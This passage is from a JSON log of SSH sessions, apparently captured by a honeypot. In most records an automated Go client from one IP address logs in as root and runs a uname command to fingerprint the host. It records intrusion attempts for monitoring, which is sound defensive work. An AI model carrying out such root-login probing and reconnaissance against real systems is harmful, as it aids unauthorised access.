  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:16:22.029508+00:00",
  "ended_at": "2026-08-24T09:16:27.309090+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e4e42de0-f03b-4bdb-82fa-364f3c4d9ce6",
  "name": "somber-ancient-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 49924,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 252,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:15:46.627463+00:00",
  "ended_at": "2026-08-24T09:15:50.518806+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e6f36b46-7943-4e76-8ddf-ee037811bb79",
  "name": "glacial-amber-jerboa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46086,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 210,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:15:16.932184+00:00",
  "ended_at": "2026-08-24T09:15:19.982660+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "4cd93167-2da8-4a8a-aee8-c7d48ba351b8",
  "name": "blithe-bold-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46576,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 239,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:15:08.413090+00:00",
  "ended_at": "2026-08-24T09:15:11.285661+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "98e4962b-dc02-4ac2-99c0-25c31b293192",
  "name": "candid-rustic-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 56354,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 229,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:14:49.716814+00:00",
  "ended_at": "2026-08-24T09:14:54.436626+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1220b1e7-7a01-4fa0-a5de-d5f44b80a445",
  "name": "fickle-kindly-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 43632,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:13:14.915091+00:00",
  "ended_at": "2026-08-24T09:13:19.952208+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9893a71c-afb1-4279-817b-077d2edcc3d0",
  "name": "polar-lonesome-merlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47814,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 218,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:12:53.706613+00:00",
  "ended_at": "2026-08-24T09:12:57.919910+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6edadafc-0d23-4de2-87b8-8af5b5673431",
  "name": "hidden-snowy-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37926,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 202,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:12:49.129352+00:00",
  "ended_at": "2026-08-24T09:12:52.145619+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f55e72aa-d6db-4715-9451-001398fdef6a",
  "name": "oaken-gloomy-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40264,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 226,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:12:46.415946+00:00",
  "ended_at": "2026-08-24T09:12:51.006048+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "575dae80-aa7b-4d9a-b58c-c68b819f28e3",
  "name": "umber-silent-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40256,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 232,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:12:38.999781+00:00",
  "ended_at": "2026-08-24T09:12:41.925542+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "01789cc7-907d-43df-b77a-a49156ed6159",
  "name": "western-blithe-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42200,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 263,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:12:12.390639+00:00",
  "ended_at": "2026-08-24T09:12:16.112343+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9284c0a8-4c41-49b1-a935-c4495be639c2",
  "name": "vaulted-sooty-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 42212,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:12:12.389140+00:00",
  "ended_at": "2026-08-24T09:12:18.113463+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e53eb3a8-6342-45fd-8210-2d50206b2596",
  "name": "quaint-prickly-skylark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36114,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:11:54.293845+00:00",
  "ended_at": "2026-08-24T09:11:59.242284+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df8baad8-5b22-479b-82dd-2ca3fd929145",
  "name": "eager-sooty-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37266,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:11:26.429249+00:00",
  "ended_at": "2026-08-24T09:11:32.246133+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bb8674b4-9867-422a-837c-679f7d58e841",
  "name": "dappled-alpine-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39644,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:10:03.397655+00:00",
  "ended_at": "2026-08-24T09:10:08.130111+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3102ad33-b3f0-4a0d-8a01-67b104040066",
  "name": "tangled-ancient-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60044,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 217,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:09:29.490542+00:00",
  "ended_at": "2026-08-24T09:09:34.586484+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "90d8da97-8cf1-47f1-9ab0-856d76aeeb77",
  "name": "clever-smooth-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 35434,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:09:19.804678+00:00",
  "ended_at": "2026-08-24T09:09:24.042816+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "daf0a08d-e9e9-425b-8e4c-bb634d78ed96",
  "name": "lucid-dappled-antelope",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 58872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:09:12.800231+00:00",
  "ended_at": "2026-08-24T09:09:18.886418+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a701df6c-9249-427e-b1e3-95a2bb762029",
  "name": "forlorn-orderly-dunlin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 36538,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:08:53.303192+00:00",
  "ended_at": "2026-08-24T09:08:57.513271+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ae7c13ee-49e0-48a2-a500-39fbf5db7e45",
  "name": "vernal-wry-gharial",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 228,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:08:44.648486+00:00",
  "ended_at": "2026-08-24T09:08:48.478345+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7f5bb27e-c3a7-4870-8ba3-c6708c705b56",
  "name": "painted-indigo-gecko",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 40130,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:08:24.744833+00:00",
  "ended_at": "2026-08-24T09:08:28.709641+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "158e4acf-94f6-4a32-98b9-45d16bc21c5e",
  "name": "ruddy-dusky-pipit",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33652,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:08:07.815597+00:00",
  "ended_at": "2026-08-24T09:08:13.547754+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3693a01e-8a03-4ec8-bae2-e4f04e6e7be4",
  "name": "prairie-painted-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48082,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:07:30.230838+00:00",
  "ended_at": "2026-08-24T09:07:34.028501+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cab1f9f7-10de-48ec-9b7e-5df70936cb1c",
  "name": "candid-seaward-grouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50618,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:06:34.950481+00:00",
  "ended_at": "2026-08-24T09:06:38.045055+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "eff4fe48-c1a1-4d5b-92da-5cf5d891eed4",
  "name": "graceful-russet-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.47.11",
  "src_port": 43768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-24T09:06:27.499957+00:00",
  "ended_at": "2026-08-24T09:06:28.551419+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ba73ed90-f750-4aaa-be76-e26669a907a5",
  "name": "boreal-fleeting-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50680,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:06:05.136707+00:00",
  "ended_at": "2026-08-24T09:06:07.952443+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ea17093e-15a3-4fc4-9654-fa9e08a37edb",
  "name": "ancient-crystal-tamarin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50672,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 254,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:06:02.836964+00:00",
  "ended_at": "2026-08-24T09:06:05.530712+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e939220b-b94b-436e-96d1-559397b4819f",
  "name": "canny-fabled-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 60818,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 237,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:05:40.427777+00:00",
  "ended_at": "2026-08-24T09:05:43.920087+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a6c11b8-12d2-4ecf-88a6-bc00185b8611",
  "name": "polar-bronzed-goldfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 55676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 284,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:05:34.310363+00:00",
  "ended_at": "2026-08-24T09:05:37.499722+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e3e0fb73-8761-4fb5-bb87-380ed374ab34",
  "name": "sleepy-shifting-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 273,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:04:53.112018+00:00",
  "ended_at": "2026-08-24T09:04:57.844361+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "69a2d06c-b3a6-4d10-bdd8-f36434a98f72",
  "name": "knotted-western-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 209,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:04:44.219712+00:00",
  "ended_at": "2026-08-24T09:04:49.595573+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ed7f8f06-76d5-4eae-8313-9ff0d25bf2e6",
  "name": "breezy-coral-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34798,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 197,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:04:27.135265+00:00",
  "ended_at": "2026-08-24T09:04:31.598100+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b0c55a99-16d0-4d36-8253-123f08e899f4",
  "name": "russet-frosty-blackbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 38844,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:04:22.900834+00:00",
  "ended_at": "2026-08-24T09:04:25.744707+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "08e71ff9-1bbc-44b0-83de-fc9b56553873",
  "name": "honest-mossy-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 39568,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 211,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:04:00.000697+00:00",
  "ended_at": "2026-08-24T09:04:04.486082+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "49f9def8-f5b0-4329-83a2-da99914ab668",
  "name": "rustic-prairie-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 41912,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:03:39.497487+00:00",
  "ended_at": "2026-08-24T09:03:45.596825+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e7bc1171-1704-452f-b6d7-278daf306a11",
  "name": "proud-rapid-raven",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 53298,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 256,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:01:42.933915+00:00",
  "ended_at": "2026-08-24T09:01:46.132844+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3ac29f98-6a2a-4271-93d7-cc52ae1bdf23",
  "name": "pleasant-prickly-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 55906,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 222,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:01:08.028436+00:00",
  "ended_at": "2026-08-24T09:01:13.194566+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "825f8a31-6a23-46f9-af9a-9f5173d742c8",
  "name": "wiry-mindful-squirrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 46554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 175,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:00:32.937741+00:00",
  "ended_at": "2026-08-24T09:00:38.637985+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09e85fed-cc3f-418f-934e-e55843271e43",
  "name": "humble-gritty-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 48222,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 250,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T09:00:31.038425+00:00",
  "ended_at": "2026-08-24T09:00:35.535223+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "809bec59-f03b-4b4a-9ff6-410974e8a1ea",
  "name": "bitter-pewter-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33730,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 215,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:59:41.721464+00:00",
  "ended_at": "2026-08-24T08:59:46.222252+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ee6dc7b0-86ca-4a95-b628-69fb66592986",
  "name": "tranquil-sterling-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 35252,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 286,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:59:08.244953+00:00",
  "ended_at": "2026-08-24T08:59:12.917656+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f5639df5-a33c-4a06-84f8-7bbcefbbd1c5",
  "name": "golden-eager-ermine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 34480,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 346,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:58:51.612160+00:00",
  "ended_at": "2026-08-24T08:58:56.191812+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e926ef0d-398f-46ef-a631-f027514607dd",
  "name": "hearty-supple-impala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 37638,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 214,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:58:19.183896+00:00",
  "ended_at": "2026-08-24T08:58:23.921563+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8ea2b410-3d71-4bb2-b335-08b022d91cc1",
  "name": "windswept-whispering-adder",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 47454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 247,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:57:59.637712+00:00",
  "ended_at": "2026-08-24T08:58:03.216682+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9755abe9-be1a-4185-ab15-7c8b62f598f9",
  "name": "primal-snowy-sloth",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 33128,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 230,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:57:10.805497+00:00",
  "ended_at": "2026-08-24T08:57:15.208198+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6bc616c4-3caf-4a94-8c41-0d5f0d9b4686",
  "name": "loyal-lawful-cormorant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 58080,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 313,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:56:51.797949+00:00",
  "ended_at": "2026-08-24T08:56:57.721743+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "332245dd-5c9f-4812-8e85-d7ef47ee0f22",
  "name": "jaunty-watchful-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 44546,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 244,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:56:26.027400+00:00",
  "ended_at": "2026-08-24T08:56:30.036680+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3fece375-0ed8-4789-82c4-c568b4cb213a",
  "name": "proud-airy-cassowary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 56950,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 283,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:56:18.296570+00:00",
  "ended_at": "2026-08-24T08:56:21.422964+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "21f715a7-1712-4278-9796-ed1c2def060a",
  "name": "oaken-crimson-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 55936,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 429,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:56:10.096563+00:00",
  "ended_at": "2026-08-24T08:56:14.418046+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "049598d3-e9ea-4897-909d-bce0b32b82b1",
  "name": "emerald-glacial-polecat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 50552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 243,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-24T08:55:50.416069+00:00",
  "ended_at": "2026-08-24T08:55:54.544231+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bcecd0ce-b62e-4722-9542-a534202009e6",
  "name": "earnest-wandering-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.47.11",
  "src_port": 49410,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 278,
  "probe_flagged": 0,
